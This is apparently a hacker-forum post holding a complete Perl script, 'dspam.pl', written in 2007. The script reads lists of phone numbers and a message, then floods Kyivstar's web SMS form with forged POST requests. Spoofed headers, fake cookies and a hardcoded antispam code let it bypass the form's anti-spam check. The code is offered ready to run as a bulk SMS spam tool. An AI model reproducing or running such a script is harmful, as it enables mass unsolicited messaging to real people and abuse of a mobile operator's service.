Форум АНТИЧАТ

Код:
#!/usr/bin/perl

use IO::Socket; 

if (@ARGV < 2)                                                                                     

{ 

   &help; 

}

$mobbase=$ARGV[0];                                                                                                                                                      

$msgbase=$ARGV[1];                                                                                 

open(file, "$mobbase") or die print "Cant open mobile.base\n"; @data0=<file>;close file;           

open(file, "$msgbase") or die print "Cant open messenge.base\n"; $msgtext=<file>;close file;       

$ver="1.00b";                                                                                      

foreach $telefone (@data0)                                                                         

{

 $i++;

 chomp($telefone);  

 $mcode=substr($telefone,0,3);                                                                    

 $mnumber=substr($telefone,3,7);                                                                   

 $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"kyivstar.net", PeerPort=>"80");            

 $param="submitted=true&lang=ua&mobcode=$mcode&number=$mnumber&lat=1&message=$msgtext&antispam=3331";

 $len=length($param);                                                                             

 print $sock "POST /_sms.html HTTP/1.0\r\n".

             "Accept: */*\r\n".

             "Referer: http://www.kyivstar.net/_sms.html?lang=ua\r\n".

             "Accept-Language: ru\r\n".

             "Content-Type: application/x-www-form-urlencoded\r\n".

             "User-Agent: Internet Explorer 6.0\r\n".

             "Host: www.kyivstar.net\r\n".

             "Content-Length: $len\r\n".

             "Pragma: no-cache\r\n".

             "Cookie: countSms=0; code=3331\r\n".

             "Connection: Keep-Alive\r\n\r\n".

             "$param";

       $sock->recv($answer,512);                                                                                                                                                         

      if ($answer=~/messageID/)   {print "[+]Messenge $mcode-$mnumber send\r\n";}                   

      else                                       {print "[-]Messenge $mcode-$mnumber not send\r\n";}                             

 close($sock);                                                                                                                                                                                

}

sub help() 

{

  print q(

            ________   Written  by  demonoid (C) 2007

            \   __  |  ____  ______  _____   __    __

             | |  | | |  __||  __  |/  -  \ |  \  /  |

             | |  | | | |__ | |  | || | | | |   \/   |

             | |  | | |__  ||  --  || |_| | | |\  /| |

            _|  --  |  __| ||  ---- |  _  | | | -- | |

           /_______/  |____||_|     |_| |_| |_|    |_| V1.00b



          usage: ./dspam.pl [mobile.base] [messenge.base]

           help:  

             [mobile.base] - Base with phones. 

           [messenge.base] - Base with messenge. 

        example: ./dspam.pl mob.txt msg.txt

          



);

  exit();                                                                                             

}